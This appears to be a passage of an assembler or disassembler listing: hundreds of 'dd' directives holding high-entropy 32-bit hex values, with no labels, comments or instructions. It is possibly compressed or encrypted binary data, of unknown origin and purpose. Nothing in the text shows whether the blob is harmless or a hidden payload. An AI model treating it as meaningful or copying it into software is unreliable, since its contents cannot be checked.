		dd 0D046DBD2h, 1412D0D2h, 7FADB793h, 0AACD2252h, 54847E55h
		dd 0ABC62FFh, 84866529h, 92D9BD03h, 0CD555B96h,	6017643Dh
		dd 5076E705h, 4421B6E2h, 0B5E4FE14h, 0E0B94E5Eh, 770054ECh
		dd 0C667EC98h, 4B1C28E3h, 50D48CA7h, 12B9BB3Dh,	0D0A12087h
		dd 20F11C7Ah, 79B5010Bh, 50825C1Fh, 2840A99Dh, 27E30481h
		dd 0B91ABBF5h, 6AEBD3B7h, 50C81458h, 9D2B817Bh,	0F66F2871h
		dd 69E9F4F7h, 9B372C80h, 71011B1Fh, 13A7796h, 0D5E6FD95h
		dd 5BE9F14Dh, 4FCF0088h, 2DB8B21Dh, 54AC0B4Bh, 46D744Bh
		dd 0B922D59Eh, 0F1A997F4h, 230063A8h, 80BF86E8h, 9719781Ah
		dd 99B7F00Bh, 179B6A0Eh, 0E3D27EF8h, 4DC45E0Fh,	5AAADDACh
		dd 0AAD660A8h, 6EAA3C75h, 7A7E000Ah, 8979DBE1h,	1952BF9Dh
		dd 0E46F56AAh, 0E9229EC0h, 0A0F8813h, 14F6F300h, 0C7CDC629h
		dd 0A34707BAh, 91128D62h, 89FC4420h, 7B21F5D2h,	0CB8183EDh
		dd 0FE95E633h, 3BE7FA9Ch, 6B279A73h, 0F52A5E8h,	0CAEB864Ah
		dd 0E75F25C6h, 2D9D0962h, 25F45274h, 2E5C59Bh, 0A24B2B11h
		dd 0FB8B1656h, 0B9A330FBh, 6A2E2207h, 0FC60AE42h, 2F6DA48h
		dd 73E6126Dh, 0E8DF5ADCh, 259D33CDh, 0C7790C75h, 75028962h
		dd 4DA55465h, 1EEC4146h, 0D6EDE87Bh, 0BFCA6301h, 68F7D9BBh
		dd 95F375ADh, 95A16AD8h, 2683915Fh, 67E9F244h, 5DF5B792h
		dd 0B478A8E8h, 0B8281259h, 0FB42E2BDh, 0AB9C2Bh, 133577C7h
		dd 660473B0h, 826B61CCh, 4ED402BCh, 0E2235D12h,	0F600BE0h
		dd 0C589h, 95725916h, 0B600D1C5h, 58401E43h, 981D6024h
		dd 94D94ECDh, 0B0DFACE5h, 1F69E3BFh, 65E9543Fh,	0F9040C5Ch
		dd 6EBFC18Bh, 80D10113h, 0D98B9AEBh, 0FF92F67Ch, 65E9A20h
		dd 0B016052Eh, 0CC8DAF1Ch, 0D01ED930h, 0F180DB95h, 0CAE78082h
		dd 0AA5B4A5Fh, 6CF7B930h, 3FF02523h, 0EDC083CAh, 492FC7E7h
		dd 0DEB5746Ah, 91DC4017h, 952DBAF8h, 9D41F05Eh,	58061845h
		dd 0D2BF660Ch, 323E9280h, 3925D65Ah, 5C0FF90h, 0E0594DB7h
		dd 1205DE8Bh, 0A59F0E0Bh, 47F2FE50h, 83ADD063h,	3900E9B7h
		dd 362AFC8Fh, 4ABA1DC7h, 2A7AB565h, 2A77ABEh, 0BACB7E63h
		dd 7DB2FF03h, 0AD846B55h, 0C014DBAFh, 0E7EC1869h, 0B2223CF7h
		dd 25A305A8h, 0E0C67C3Ch, 51AD9A95h, 0EFFF9F92h, 0A200B937h
		dd 38D97A06h, 95E9E6C8h, 251C15DDh, 59695F54h, 406044B5h
		dd 11C474BBh, 26A277Fh,	0DB70F2DBh, 0F6370921h,	0B9D8C040h
		dd 5650492Dh, 2A066041h, 0E3090338h, 44579597h,	3C5B0070h
		dd 566E7EBCh, 8F13C45Fh, 0DD1559D1h, 8B0F1301h,	4A95488Ch
		dd 7A88E68Dh, 5A488887h, 0B86425h, 835EAE7h, 580D03E2h
		dd 79822B02h, 0D77CF68Bh
		dd 3D0EED18h, 9AE82700h, 9D016D7Fh, 6E5F4F55h, 49B609F9h
		dd 55432989h, 3D0F9434h, 60C8CD01h, 5255B9FCh, 0F7AA0E06h
		dd 5B60B36Fh, 0D5BB5390h, 0E215CDE3h, 0EDB785C0h, 70E61AD2h
		dd 49124EE0h, 28CB8012h, 5200B1E6h, 0FD3440BBh,	1FB85B7Ch
		dd 4E25C97Fh, 0C4B8CD60h, 48DF601Ah, 0ED4D0227h, 0FA8BDD88h
		dd 0D669BE5Ch, 522C4026h, 4D01F3D7h, 0AD5B24E1h, 81C8F53Eh
		dd 457A09DBh, 0CC702C65h, 0E1A3509Fh, 0C1B4C104h, 71DE6E2Dh
		dd 8806A080h, 0DF2FBD2Ch, 0F7144B3h, 0E4B11E02h, 0BEAAC781h
		dd 0CB612E2Bh, 0FE080115h, 21B52980h, 0BF82346Dh, 5571E4DFh
		dd 0EB82B951h, 5C0BA273h, 5AF091BFh, 75FDEEF1h,	5CF5C442h
		dd 853102C1h, 0EEDF13D1h, 0DEC14CC1h, 0E221B912h, 124E48C1h
		dd 0ABE04305h, 35851329h, 0EA98942Eh, 0B48D4B97h, 8BB32B20h
		dd 921D4A25h, 4E8AD57Bh, 20E1132h, 3518A3Ch, 0EC51400Ah
		dd 293D04F0h, 0F2D0FC1Dh, 0DF010BFFh, 1C1E5D17h, 33489B04h
		dd 56AEEB01h, 0DD3E056Fh, 0F631AE06h, 702E198Eh, 228547F9h
		dd 0F317A800h, 594C80Dh, 0D88D0020h, 59B6B75Ah,	5F4B6160h
		dd 2210D392h, 387542E9h, 98ED8DCh, 7625B61Bh, 382D971h
		dd 5719899Dh, 4C227F31h, 1B4A6191h, 80A092ACh, 0D09EC2C7h
		dd 0C16C681Dh, 8B12A021h, 0DD8C71ABh, 485204DAh, 22188CE2h
		dd 18556B6Ah, 9EA3997h,	752475D9h, 0E5D768B9h, 25550AF2h
		dd 31FC055Bh, 185DEE95h, 79C4E5h, 22137FE0h, 0C66B85F6h
		dd 5397AF2Fh, 631A534h,	0C4280D80h, 0E9DCAD4Bh,	0C171342Ah
		dd 722F8D54h, 0BFFD4E52h, 0FE53D54Ah, 64E006E6h, 3A02BAB0h
		dd 4080A58Eh, 0E5FC55EAh, 5C347DC2h, 16915555h,	3108CA82h
		dd 1C9EB75Dh, 3BEC47Dh,	6934AE49h, 9E2EDFB1h, 0E9748327h
		dd 0D370E0A8h, 0CF68254Bh, 0B57EC156h, 14706553h, 6A0CC04Eh
		dd 3BE73049h, 0AC234A24h, 85E60613h, 0A367EA16h, 18B3C248h
		dd 0DC485C5Fh, 830520C1h, 0CC2EA68Fh, 80022F8h,	4FEE4B19h
		dd 4411CC2h, 5482FC27h,	0A2B8B83Ch, 8950206Fh, 1DD5F1B5h
		dd 29E74B83h, 1F87D700h, 8FC78857h, 4D7FBA0Dh, 0A23A4635h
		dd 0F9BD365h, 334F9C80h, 1D5A019Dh, 0A6D26EA8h,	0C8D8A123h
		dd 4BB7AB70h, 1CB38AD3h, 5725043Bh, 2C078D37h, 0E45B8EE3h
		dd 39B70048h, 48A7B6DDh, 0F8982E1Fh, 25324920h,	0C5C55F5Bh
		dd 0DE891510h, 0D046C171h, 24549393h, 3BFA2DDCh, 0F7816001h
		dd 754E4BADh, 0FFA2162Eh, 85ACB234h, 0E07FA64Ah, 759A207Ch
		dd 98AE0947h, 1FF05B2Dh, 9BF0F40h, 7EA7C8F2h, 4A458C72h
		dd 27AF154Ch, 0CBCE9857h, 906B9EBEh, 128D0AF4h,	0EA16FD2Ah
		dd 0D54AF3B7h, 0E822AD58h, 0E27C4B18h, 6EFC0055h, 0BE7F5584h
		dd 69485DA6h, 0BF72E45Fh, 84FA560Ch, 4EC2180Ch,	98E6B561h
		dd 0BF0EDA10h, 1EF61254h, 3B20AA2Eh, 13BB2404h,	85F2A044h
		dd 0E056B66Eh, 9D58FB5Fh, 0BD20E5F8h, 32680413h, 0E850DC86h
		dd 1D0580ABh, 181AFE0h,	98261C99h, 0E4CD3E35h, 0CC4A1014h
		dd 85817B87h, 9B2A50C3h, 51BF80A7h, 9E17FFEh, 0A4A2C0E6h
		dd 0BEBDDD04h, 0CB819490h, 65FA1280h, 2A6AA327h, 0F275E29h
		dd 0F8E3998Fh, 0BA57242Eh, 0E7C0589Bh, 6E09FB5Eh, 7645EF5Dh
		dd 1D6F1A0h, 950B5080h,	0FEA7385Ch, 0EF5C6B2Fh,	299E00DEh
		dd 811445F8h, 22124DEBh, 53E20AB8h, 0BCD5A95Bh,	127598B7h
		dd 0AE1605BDh, 9D83376h, 73187586h, 1D596573h, 6500F518h
		dd 33D67D9Ch, 4AB0AD7h,	4585011Ah, 0C535AE0Fh, 19506AEBh
		dd 2D480996h, 20369D2Eh, 66B9146h, 3CA97F0Dh, 539E98D7h
		dd 6CAFBD59h, 679B88B3h, 9758190Eh, 0A4D840B0h,	975EBFD3h
		dd 0CCA84446h, 5B5B5360h, 0E4B98353h, 0D023CB8h, 6079F50Bh
		dd 59105F03h, 27959533h, 9DD36143h, 0BBD902F9h,	0C445034h
		dd 4385355h, 0F8562FC3h, 41A2039h, 22477168h, 4320D51Fh
		dd 3D448ECCh, 0C03CDBD5h, 0D913ACDDh, 5EE10587h, 0EEF89E4Dh
		dd 61B5A260h, 68399715h, 3331608Bh, 0E63A9081h,	0FDB31E40h
		dd 22E922B1h, 0F2B5B63Ah, 20A93114h, 255A69F6h,	0C200BBB6h
		dd 0FEF3F26Eh, 299861A9h, 712E6925h, 76F9EB0Fh,	0EAD44E01h
		dd 282B65A4h, 3D953A36h, 6D11802Dh, 0CC29EAB3h,	15A65757h
		dd 0A83E195h, 0C21E95Bh, 2065BD04h, 0CF6BAA12h,	0A3014E2h
		dd 859D1389h, 0E833A901h, 0F7050BC5h, 5E8E31B0h, 2B865110h
		dd 0E9FF4A28h, 38307A2Fh, 5DED13D1h, 0B7C4B4FCh, 10178B01h
		dd 0B64E03CBh, 9AD92F31h, 0B86F6364h, 97053A86h, 8D894218h
		dd 0AD13754Bh, 8A860701h, 332B5C7Eh, 0EEB260ACh, 34058661h
		dd 0CEB5618Ch, 58C89B6Fh, 920066E1h, 0F93BCC40h, 4AB685E3h
		dd 3125AF50h, 0DB2F73F1h, 0A5DC81DCh, 0DDF65E66h, 5D4BCB6Eh
		dd 0F3796EE1h, 8C1AACh,	48E619CDh, 8A118594h, 0A964029Fh
		dd 0F86E5522h, 0B379A690h, 732C5125h, 181459B2h, 137395B4h
		dd 41BF385Ah, 1B0FEE8h,	0F05D12FAh, 0F080C2E4h,	4809BFF3h
		dd 57170384h, 15911735h, 87678684h, 0E92CF531h,	883981C1h
		dd 8CC0AA69h, 0F79F0250h, 4CCCE34Ah, 73B93DC3h,	24F77BBAh
		dd 96D4E85Bh, 818987ACh, 0EADD6EB2h, 256F567Ch,	5DC264EDh
		dd 0C2685CEFh, 8130F8B7h, 5E617F3h, 0A93316BDh,	9D8EBC22h
		dd 4545351h, 717E6914h,	2DCDBBE3h, 5A29E720h, 0D65BE20Ch
		dd 6912EB6Bh, 1557E1E3h, 87D204AEh, 8B61FE0Dh, 8B117478h
		dd 5EE62BFBh, 46A8515Dh, 0B33F6F00h, 72E2BB3Ch,	97025643h
		dd 66913F7Dh, 0AAA22A16h, 98EBF765h, 1940650Ch,	0E9A7CF53h
		dd 0E2325B0Eh, 5C2E8B63h, 0B266F608h, 253516Eh,	0BCC2BF50h
		dd 83AB4CFAh, 0C24DAD7Fh, 0B18FE76Ah, 0AD6CAB4Dh, 0EA96FA80h
		dd 9000691Eh, 0A3A5037Ah, 92CFD78h, 61F2E4E0h, 0E108E983h
		dd 2B5B33C1h, 16C87D9Ah, 0C6C21C0h, 24F29403h, 8AC652A3h
		dd 95FB724Ah, 7DCFB8CEh, 4B6FCE95h, 29598AF8h, 0AD97DE5Ch
		dd 4FADB552h, 138C16ACh, 0CEA0B4Ch, 0C649A144h,	2F48ABEh
		dd 3C481EBBh, 0ED81E29Bh, 6B83BDBFh, 38AAB716h,	0F3418004h
		dd 53F2F726h, 5CF0DEC0h, 8B257F7Eh, 0C26E4DC1h,	685C7827h
		dd 0E61BEFC0h, 0C704B3Eh, 0F5CE535Ah, 0AA6D4Ah,	0DE0CBB98h
		dd 859E0684h, 7D11F642h, 0C016C466h, 34FFA0F5h,	5140824Eh
		dd 30A75E5Ch, 1B24BFF3h, 1A44543Ah, 693E9079h, 0B75684D6h
		dd 21AE5F04h, 2F3D3Ah, 0EA8BB90h, 50466798h, 4DC6FF7h
		dd 0EED2396h, 0F9052E92h, 0B66A17ADh, 99C0F04Dh, 88D04ECDh
		dd 0C65F1BFFh, 22805AFCh, 82DA6C67h, 0D2249200h, 0EE0366Dh
		dd 8E7B976Ah, 5B7E7178h, 6425B2C9h, 0DCBC35CEh,	0AB14CD84h
		dd 15C81F9Bh, 5C9729C2h, 8233658Eh, 772E2A2Bh, 0DCE068B6h
		dd 7B6261FCh, 5C2CE5ACh, 3A697178h, 3F05D77h, 58495130h
		dd 70771CDh, 8277BBE3h,	0FD54026Ah, 0BA133741h,	79A4CF4h
		dd 905846CBh, 622A9160h, 9CB7D403h, 0DE506125h,	0D2BB6061h
		dd 292E155Ch, 58023E90h, 557E3B63h, 1C640FCDh, 4054B660h
		dd 9C0A7E00h, 0E920B538h, 811C97EDh, 0BC69C920h, 2F00DC46h
		dd 3DE8408Eh, 0B5EDD780h, 0D65AF253h, 0F25DC993h, 0B6390070h
		dd 0BD295E1Bh, 36911D4Dh, 121FB508h, 1EF250h, 1EFE8E05h
		dd 9A131155h, 0E1F3B708h, 5B43CE72h, 0AECD1321h, 0CB829235h
		dd 551362B5h, 0BA94309Ch, 4B8600D4h, 7E4880DDh,	4C046742h
		dd 0DEBF0F66h, 0FCC2EDBAh
		dd 5B6200D9h, 0ECE5CA33h, 6A2B0922h, 0FD5826FFh, 35C700DEh
		dd 4E80B363h, 7B0BBFF4h, 252EECBh, 7C1529C9h, 885AF42Ch
		dd 0FDA206ACh, 2208185Dh, 0FEB04A27h, 78381220h, 0A25300B8h
		dd 7C883645h, 52733922h, 0C8B7BF0Eh, 2D8F825Bh,	75E2FF90h
		dd 0E481B2F1h, 0C6C78071h, 69AB5D2Eh, 0E0DF92F3h, 0CF0481A6h
		dd 0D1ADBB3h, 0E94A0F35h, 2D275851h, 41F8F98Dh,	0C5901FEAh
		dd 0AF2EFBh, 85895276h,	3ACB03ADh, 0FA1AD75Fh, 4126C156h
		dd 95605225h, 2D06BE8Fh, 8A3C1011h, 0E9277DFAh,	957FE671h
		dd 4755C080h, 0DE4A8A49h, 0AD1055E2h, 8501C12Dh, 8C2B30D9h
		dd 0E08A0C4Fh, 0A044E916h, 4B4FBF08h, 51788C41h, 606CA3BEh
		dd 0CB0C6959h, 23158059h, 0D4FE2D4Eh, 14D56954h, 4AED5B15h
		dd 3E61956Dh, 81CCDE25h, 0D5EBB413h, 4AC66FFAh,	69F21BBh
		dd 8086689Dh, 18DAE269h, 0B5AC187h, 2E280DBDh, 0DAB9A371h
		dd 0D82D3825h, 0B202E5B8h, 8551B4D0h, 0EB95CCCh, 6423E781h
		dd 66BB5C76h, 7738EFC0h, 57179295h, 2D210982h, 80AE7957h
		dd 4A84758Fh, 0C701A872h, 0BD9A766Fh, 0F06F476Dh, 0DC098A69h
		dd 770A8F0Fh, 3495C898h, 61F9F983h, 6B663D2Eh, 48E63C6h
		dd 0E8CF38C7h, 0F8544013h, 721CEEC6h, 92DA008Dh, 8435BEACh
		dd 160CE98Ah, 3ADF25C9h, 0B7BB05CFh, 0AB880D5Fh, 0BB00107Bh
		dd 0B3539721h, 12FC870h, 312DE856h, 0B2ED5A95h,	0E78082DFh
		dd 0C5B05539h, 0EFFCDBDh, 0E0BCB693h, 9C49D56h,	0C0193F55h
		dd 18123DDEh, 287AFEh, 7B43298Bh, 0B7AAD48Eh, 3859FC89h
		dd 7BFB7245h, 0A99E00C1h, 0A0B61C09h, 253B91E6h, 70787FF3h
		dd 628D00B2h, 6B8C89C7h, 73B7794Fh, 29918856h, 49259020h
		dd 41F35923h, 412048BBh, 54F99DD4h, 3CC4AAA1h, 25A23BACh
		dd 8018911Fh, 0B230CEB7h, 8160004Dh, 21BA01E0h,	0B5768B0Fh
		dd 56226A95h, 15055135h, 628013F8h, 28DA1239h, 2DDAD01h
		dd 0B1DC605Dh, 0EB44292Eh, 0CFDEAAA4h, 71D07580h, 0EA1732BDh
		dd 41E03552h, 0B20B5AF5h, 0F4864695h, 8B8B32BFh, 21C84012h
		dd 81329715h, 13D4DADCh, 30CAD171h, 0B944CBB9h,	0C9F0CD25h
		dd 1408637Ah, 4DC9A88h,	0A8084BB3h, 0CEA8BBDDh,	4993F3F5h
		dd 47B0C479h, 92084087h, 5E80E761h, 5E02C46Ah, 2F118D31h
		dd 19652907h, 0BBF540ABh, 729432A0h, 6D263D94h,	9DC272ADh
		dd 0D0780C7Bh, 0E19D2501h, 64683640h, 1E5B0CF6h, 0C3CF8AB8h
		dd 9EFAA4C3h, 0B4545AD0h, 0CC126571h, 93A033AEh, 1352169Bh
		dd 8FD8DB1Eh, 8DE48420h, 47A68DFEh, 0BF95F4D5h,	18C82ADAh
		dd 3AF23FC0h, 0B6E45A16h, 3119B2F9h, 7116F0A2h,	0E9990B04h
		dd 10DE0153h, 7CC0E4CFh, 8C0F85BEh, 2593E597h, 0F2006ED3h
		dd 493370C4h, 931A97AFh, 0B3626D56h, 7CE55FCh, 607786A2h
		dd 0B516F1BCh, 1679F653h, 482084C3h, 5D972878h,	89FE7598h
		dd 0C3E6064Bh, 0E84C91E0h, 0A82AB731h, 0F26F2879h, 6452C4B4h
		dd 574C4EB8h, 9267F85Fh, 0C15321FBh, 9014091Ch,	766FFBh
		dd 0A0C26B21h, 5EA1DDB2h, 49EE8873h, 1FD49900h,	1369B3DAh
		dd 68150364h, 814EDEA9h, 0CF909073h, 0D0255607h, 59D98A7Eh
		dd 0BD2B82EDh, 50021AC1h, 0D39FD757h, 0A69F1491h, 998DE1A8h
		dd 0A702E20h, 5E6FEF80h, 20006E61h, 2EA1253Ah, 6DDAD056h
		dd 523C6037h, 8C004B47h, 31EEE72Dh, 9C0651BDh, 707AAFC1h
		dd 16D5D6CEh, 38E23AACh, 0B2C38120h, 54750D80h,	2F1448E9h
		dd 7B00ED6Fh, 0FA0A75Eh, 1BD20882h, 8AE488FAh, 259AFA4Bh
		dd 28C18F8h, 6207D286h,	0CCDDF549h, 0D1B51213h,	0B143F826h
		dd 0DF08B885h, 0A99AD4A5h, 0B1745F1Eh, 40C601DCh, 1D30FF70h
		dd 0D3CC787Dh, 0BB0304BAh, 4029AB85h, 77B04536h, 0EF0EA66Fh
		dd 2537B8CCh, 84EC783Ch, 60460709h, 0BA60825Ch,	5DC48CAh
		dd 418D8B01h, 3428AB31h, 0A1BD2589h, 2B5B3309h,	8D181B59h
		dd 0AFC6F00h, 2129C9C2h, 99D2623h, 17BF4326h, 351B91B9h
		dd 0B8342989h, 6A9200C0h, 9199ACE3h, 8191880Fh,	0FDC98190h
		dd 9D41215Dh, 2B2E33F9h, 9AE9813Bh, 2AC4F8C6h, 9BFE83Ah
		dd 41736006h, 5B9B3972h, 314D1CD8h, 5DB25384h, 585F0217h
		dd 93097F8h, 6E16D7BEh,	350432B3h, 0D8AA61C8h, 0FA880BC5h
		dd 0D0100088h, 6729C7C2h, 0EA4B463Dh, 7BBF2D84h, 4563048Ch
		dd 7CADF8ADh, 0B456BED7h, 1AB2C4A6h, 4C27330h, 469A69D8h
		dd 4D39B8C9h, 0E16BC95h, 0EF93AC5Dh, 891DA045h,	7B20F9CAh
		dd 9601E26Eh, 0FF337E1Bh, 9E43289Dh, 1F7DC43h, 2747F0C7h
		dd 0A3F00052h, 0A5382C95h, 6DB5A1B7h, 601864E3h, 4F05BDC2h
		dd 1F8530BFh, 0F995DBEEh, 7DE1697Ah, 38B76A1Eh,	8BB5701h
		dd 6A49EF0Ch, 20EDC617h, 0E875E95Eh, 0ED9C09B5h, 35D51D01h
		dd 801891A8h, 0C65C1114h, 0BC7E92DAh, 0A73D2F05h, 823C938Bh
		dd 0E9E1F7D1h, 4235D9CBh, 0E434B67Fh, 420DB3BAh, 96A84A79h
		dd 85540C2Fh, 0CD1203EBh, 2D0D7B0Eh, 0EB5915D9h, 0A31054CBh
		dd 0D7B3789Eh, 50F8FFB0h, 890DE7B7h, 0B388DA8Bh, 0DE832480h
		dd 0C7E66E00h, 21720D4Dh, 82F8568Ah, 6912313Bh,	0C415B91Bh
		dd 0ECBD8Bh, 0A858B9F5h, 4CB97E6Dh, 885A7E6Ch, 290088FFh
		dd 1741ECB2h, 4849222h,	46CE7579h, 0C7D9EA25h, 8715E5D8h
		dd 0AD1B72A7h, 26DEEB0Fh, 2540E21Ch, 1DB509FAh,	0B977DD2Bh
		dd 0DFFC9574h, 55FA8055h, 0B167FD15h, 1AC0B09Fh, 19DC5EB7h
		dd 150C1AE4h, 25BDC6D8h, 347F33C5h, 4B6D9DEFh, 55C9FE4Eh
		dd 792B85BFh, 46E9B044h, 6E4AC2B8h, 0B0960CBFh,	4819529Ch
		dd 17CC251Ch, 0A990C10Dh, 480C7D20h, 110669BAh,	49EA81F0h
		dd 142160EDh, 3345FBA0h, 8199FF8Bh, 0D67857CAh,	9B7F5171h
		dd 19884AA3h, 0C22B3358h, 0D658F01Ah, 4D3809C0h, 6B27FE5Ah
		dd 3C503F00h, 813BD003h, 1945323Ah, 70D65A84h, 0C303B72Dh
		dd 4C72D9E9h, 89C88B04h, 1DD07185h, 0CC3C4003h,	0C5C2064Fh
		dd 0FA3C2191h, 218512C4h, 5BF80506h, 30C1CC7h, 0A31520BCh
		dd 2008DB26h, 645A2933h, 127037B2h, 0E204C483h,	8B5117A8h
		dd 81100401h, 1446B0A9h, 335909B5h, 0A002C3C0h,	62662AA1h
		dd 2EC62444h, 808AB585h, 0A7D26847h, 0FF65D49Ah, 2BAD0816h
		dd 7CA6EA10h, 6812D048h, 19138208h, 8DD309D1h, 0A2799CC4h
		dd 8E4EB7D5h, 0E1417E57h, 0AD01800Fh, 2C287E1Bh, 0F0C42B56h
		dd 6C136AB5h, 8AE3898Fh, 72EE0475h, 857F921Bh, 90C8B4B1h
		dd 0ED956C70h, 0E1EBE059h, 0D15E9F1Ah, 0FD931CFDh, 1C76F8EEh
		dd 6E607FB9h, 0C1B54290h, 0B613448h, 2BA2954Fh,	2D729D4Ah
		dd 162AA860h, 480C98Bh,	0B001951Ch, 234BF540h, 0ED5B6BE2h
		dd 0C08BC052h, 85F4EBh,	94C2516Dh, 393BE390h, 0AF509A00h
		dd 0A52A8B6Eh, 8CD73E4Ah, 0E5B6FC00h, 8501C2D9h, 1B19CA00h
		dd 409D8261h, 238307DBh, 40EABCC0h, 81C9D496h, 60325500h
		dd 68D8B297h, 0FF08CC67h, 7900AF21h, 50B30255h,	0BC891Fh
		dd 60DB474Ah, 38EFC7B0h, 0D4FC2A0Ah, 73A96B8h, 2DB623E9h
		dd 201F7CB0h, 172719CDh, 808B0818h, 2A25D721h, 0FE718Ch
		dd 3DC459E6h, 5F409F15h, 916C5400h, 13EAEEA5h, 0F0F4FC29h
		dd 908F60D4h, 0BE7C64D5h, 0FE0D10A1h, 0D301E924h, 28E185Ch
		dd 1FCD04AEh, 19C7CB28h, 163968Dh, 0E9E00026h, 0B197CE43h
		dd 0F819D2ACh, 3709A4EDh, 0C6632180h, 21325F97h, 69A043EBh
		dd 0A5BC8Bh, 7DE36284h
		dd 5E0706C8h, 0F1A15364h, 1620C0CEh, 1AB8E4h, 0B0DF9774h
		dd 0D0ACA689h, 0A0D41401h, 0FDC97E9Ah, 92C1AC40h, 7A7A59h
		dd 18DE40C5h, 4113DCAFh, 906A1900h, 0FB576CD1h,	8D22C777h
		dd 0A056F7D9h, 8AEFA17Eh, 386A5900h, 0E490F8BDh, 2EECF94Ah
		dd 0A6F444h, 0D0E26B86h, 0AE214F12h, 85DBFC00h,	23E73335h
		dd 0FF4C001Fh, 5A91AB9h, 4800D297h, 542178CAh, 63676Ah
		dd 6C71D1EDh, 6852C6F5h, 0FDEB8000h, 0CA577847h, 0B9BB0F63h
		dd 0E1400CF9h, 8848E707h, 1D8E3Fh, 74E9E409h, 0E8732EB4h
		dd 97DA0FA1h, 2F81DFF5h, 806B2D32h, 0CD0AD858h,	1F7890A3h
		dd 8C58A7E7h, 0ED10D265h, 76FAE300h, 0E2B886E6h, 0CA050B5h
		dd 0BBB3003Bh, 765C60BFh, 0D37C1781h, 0DE9BFB00h, 0E4107E8Fh
		dd 0CD2830F1h, 0DB0D9C80h, 1154F500h, 0E53E6EE0h, 6C4B8DDh
		dd 0EC704762h, 8900E9CBh, 4A630ACh, 0BB9DD8h, 0AD730923h
		dd 0B56EB32Fh, 13580300h, 6D406216h, 1E5C07C2h,	0E066F23Bh
		dd 2CD8A0DBh, 56926C13h, 0BF0FDA1Eh, 0C718581Ah, 44A10022h
		dd 3E1B10AFh, 0CA380531h, 0E3B80028h, 5FD0E996h, 0B8CEA37Ah
		dd 0C68C70h, 95697D82h,	0EEE48A7Fh, 0CA32AA00h,	92599F08h
		dd 0D1DB0036h, 9BA9B445h, 0E272B70Ch, 0CC5E1200h, 74F20B78h
		dd 19FD02EAh, 6DD085E1h, 0EDF05440h, 0F39EBE07h, 0EC47DB09h
		dd 0FC212FC0h, 0A7D00E7h, 2AF7A21Ah, 9800D67Bh,	0C1C2E8AFh
		dd 24861Dh, 77ACD13Fh, 7617BA6Dh, 0A0699200h, 7501421Ah
		dd 479007h, 0E86C74BCh,	0A6844D48h, 0F493961Dh,	7CC03CC0h
		dd 8A3160h, 6B2575BBh, 0F5C56A2Ch, 0E09DD30Fh, 2A05803Bh
		dd 0CFBEC1h, 7AA7373Eh,	100DBF65h, 0D1529300h, 59BD2B9Ch
		dd 51EB17D5h, 0CD5C0E9Fh, 0AEC2C0BFh, 8E44A454h, 0C9CB0D00h
		dd 0DF82BF30h, 0C298A0D5h, 70ED071Eh, 0F03AB173h, 0B88A9E34h
		dd 2713A31Ch, 20EF930Eh, 56C4BC9Ch, 398D0022h, 0F09E1566h
		dd 0D854ED2Eh, 7E00D4E0h, 0A3B7FCEAh, 5A80FAh, 7B705B9Bh
		dd 0C78BC82h, 0D0A5907h, 22102B17h, 0E66A84h, 0A12E278Ch
		dd 0DB3F5A7Fh, 25E7181Eh, 31651B42h, 0D51C4075h, 0B770CBBh
		dd 4600858h, 0AB98DC06h, 3E68542Fh, 59056F3Fh, 42C897DDh
		dd 1E72A3E4h, 5100B754h, 3A8A21A9h, 8F161279h, 0C4841D4h
		dd 0C8D539C1h, 4700AB53h, 0FCA27DDFh, 44B4Eh, 0F80E52E1h
		dd 20FF5C14h, 6E60861Fh, 0FBE647C0h, 22C4F9h, 12C6C0E9h
		dd 1CAE3ECEh, 0D77B701h, 9B03415Ah, 3EFCA8C0h, 5100072Dh
		dd 5FA329ADh, 81D5B33h,	6540C8CCh, 5CFF8396h, 151F0E7Ah
		dd 0E18094D9h, 7188AF2Ah, 6A457300h, 0B159180Ah, 3F77CCFh
		dd 8FFA0581h, 0C9007A44h, 7D37C1DFh, 3A93ABC7h,	0E48A17CFh
		dd 5994FDB9h, 0D053C804h, 0E9872500h, 0C3E8A2E5h, 8A1900A9h
		dd 627954CEh, 9F0066BEh, 9ADFFDF7h, 0E76CEFh, 0A8BCEE8Eh
		dd 34597712h, 0E9F36403h, 0E61A8FFDh, 0AFA94089h, 0CE5A7E16h
		dd 6EDB0900h, 5440C015h, 1FC9CC1Bh, 0C7D64C0Ch,	0E0FDEE34h
		dd 0E2A529C7h, 3A9A800h, 397A4DDFh, 568F18F4h, 81CB857h
		dd 91253200h, 0EAB179BBh, 9379CDh, 4351841Eh, 7F3855A5h
		dd 6D4CE900h, 0D3215C34h, 9BDB13B3h, 91901B0h, 41D7DE6Fh
		dd 10D4EF9Ch, 234C1ACh,	1B2938D2h, 4DE04835h, 490097FCh
		dd 0D9A09DECh, 4C33F36Eh, 320E14B0h, 46605AAEh,	0AC652964h
		dd 8D716902h, 415279B9h, 5CE497F4h, 0FE800A3h, 86343C0h
		dd 60E4B793h, 1629DD00h, 7D66873Bh, 0CC1003Eh, 5E45D646h
		dd 1A0091C7h, 787F52E7h, 90440C2h, 0FF8E0E94h, 0D280490Eh
		dd 0A0BD35F5h, 0EEBCCB12h, 73E1B201h, 3BF87D18h, 1C8939ACh
		dd 0AFC59400h, 0F612A35Fh, 283A7177h, 4916007Ah, 0E7F46095h
		dd 0F19B0046h, 0B468EADCh, 9448E459h, 65582Eh, 283870A5h
		dd 10196EB0h, 70FC99DCh, 5552F800h, 0BA20F489h,	0B2480C70h
		dd 0E2A001EAh, 0C559B60Ch, 0A0A9D050h, 14FFFD0h, 0DEE5B0E6h
		dd 9C763F72h, 4C5FFE1Ah, 65EF7C00h, 159E4C0h, 0EDF1D087h
		dd 20D7B1CEh, 7E009DF8h, 0E20DC771h, 1B07ACh, 0FB6DEEDDh
		dd 250145CFh, 487AF876h, 4D34D300h, 0E0D96FE9h,	1620E83Ch
		dd 1F702C73h, 5C48404Eh, 0A505EEA2h, 0AA6F90A0h, 23E82E79h
		dd 0DC08A000h, 6B96670Dh, 0F7C70087h, 608322A5h, 0D54848DFh
		dd 55730014h, 982AC2B4h, 74030FB8h, 0EC612F87h,	80041956h
		dd 57D25810h, 18B3BCAAh, 28B1E1A5h, 6C095F07h, 0A1450AD7h
		dd 292C764h, 0A88FD260h, 8003E96Ch, 0F8184DCCh,	0BFD0FB69h
		dd 7CF10075h, 1E439967h, 0AC006691h, 0ADEF57FAh, 1D68CD31h
		dd 4049A5FBh, 0A1F67604h, 9114DA5Ah, 0A05BE3h, 8650FCCBh
		dd 835F44h, 0B9745C1Ch,	0CD96EA4Bh, 0A7F8D150h,	0BC376207h
		dd 3CD06379h, 3117803Eh, 0CFF0E7D4h, 0EDF040E4h, 0AD304167h
		dd 802B11A5h, 0AC20063h, 1B864A0Fh, 570F2A8Fh, 9613AF85h
